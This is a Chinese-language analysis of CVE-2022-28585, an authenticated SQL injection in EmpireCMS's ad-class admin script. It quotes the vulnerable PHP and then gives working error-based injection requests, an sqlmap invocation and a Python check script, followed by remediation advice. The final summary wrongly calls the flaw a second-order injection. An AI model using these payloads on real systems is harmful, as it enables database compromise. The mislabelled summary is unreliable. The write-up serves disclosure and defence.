CVE-2022-28585 SQL注入漏洞分析
字数 762 2025-08-12 11:34:09
EmpireCMS SQL注入漏洞(CVE-2022-28585)分析与利用
漏洞概述
CVE-2022-28585是EmpireCMS(帝国CMS)中存在的一个SQL注入漏洞,影响版本为7.5及以下。该漏洞存在于后台管理模块中,允许经过身份验证的攻击者通过精心构造的请求执行任意SQL命令。
漏洞位置
漏洞位于/e/admin/ad/AdClass.php文件中的两个函数:
AddAdClass()函数 - INSERT型SQL注入EditAdClass()函数 - UPDATE型SQL注入
漏洞分析
代码结构
$enews=$_POST['enews'];
if(empty($enews)){$enews=$_GET['enews'];}
if($enews=="AddAdClass"){
// 增加广告类别
$add=$_POST['add'];
AddAdClass($add,$logininid,$loginin);
}elseif($enews=="EditAdClass"){
// 修改广告类别
$add=$_POST['add'];
EditAdClass($add,$logininid,$loginin);
}
AddAdClass()函数分析
function AddAdClass($add,$userid,$username){
global $empire,$dbtbpre;
if(!$add[classname]){
printerror("EmptyAdClassname","history.go(-1)");
}
// 验证权限
CheckLevel($userid,$username,$classid,"ad");
$sql=$empire->query("insert into {$dbtbpre}enewsadclass(classname) values('$add[classname]');");
// 后续代码...
}
漏洞点:
- 直接拼接用户输入的
$add[classname]到SQL语句中 - 未对输入进行任何过滤或转义
EditAdClass()函数分析
function EditAdClass($add,$userid,$username){
global $empire,$dbtbpre;
$add[classid]=(int)$add[classid];
if(!$add[classname]||!$add[classid]){
printerror("EmptyAdClassname","history.go(-1)");
}
// 验证权限
CheckLevel($userid,$username,$classid,"ad");
$sql=$empire->query("update {$dbtbpre}enewsadclass set classname='$add[classname]' where classid='$add[classid]'");
// 后续代码...
}
漏洞点:
- 虽然
classid进行了(int)强制转换,但classname仍然直接拼接 - 未对
classname参数进行过滤
漏洞利用
利用前提
- 需要后台管理员权限
- 需要能够访问
/e/admin/ad/AdClass.php
手动利用示例
- UPDATE型注入(EditAdClass):
POST /e/admin/ad/AdClass.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
enews=EditAdClass&add[classid]=1&add[classname]=test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
- INSERT型注入(AddAdClass):
POST /e/admin/ad/AdClass.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
enews=AddAdClass&add[classname]=test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
SQLmap自动化利用
- 保存请求为txt文件(如req.txt):
POST /e/admin/ad/AdClass.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=xxx
Content-Type: application/x-www-form-urlencoded
enews=EditAdClass&add[classid]=1&add[classname]=test
- 执行SQLmap:
sqlmap -r req.txt -p "add[classname]" --dbms=mysql --level=5 --risk=3
修复建议
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句(PDO)替代直接拼接SQL
- 最小权限原则,限制数据库用户权限
- 升级到最新版本EmpireCMS
漏洞验证
验证脚本示例(Python):
import requests
def check_vuln(url, cookie):
headers = {
'Cookie': cookie,
'Content-Type': 'application/x-www-form-urlencoded'
}
data = {
'enews': 'EditAdClass',
'add[classid]': '1',
'add[classname]': "test' AND 1=1 AND '1'='1"
}
try:
r = requests.post(url + '/e/admin/ad/AdClass.php', headers=headers, data=data)
if 'EditAdClassSuccess' in r.text:
return True
except:
pass
return False
总结
CVE-2022-28585是一个典型的二次注入漏洞,虽然需要后台权限才能利用,但仍然可能造成严重危害。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和过滤。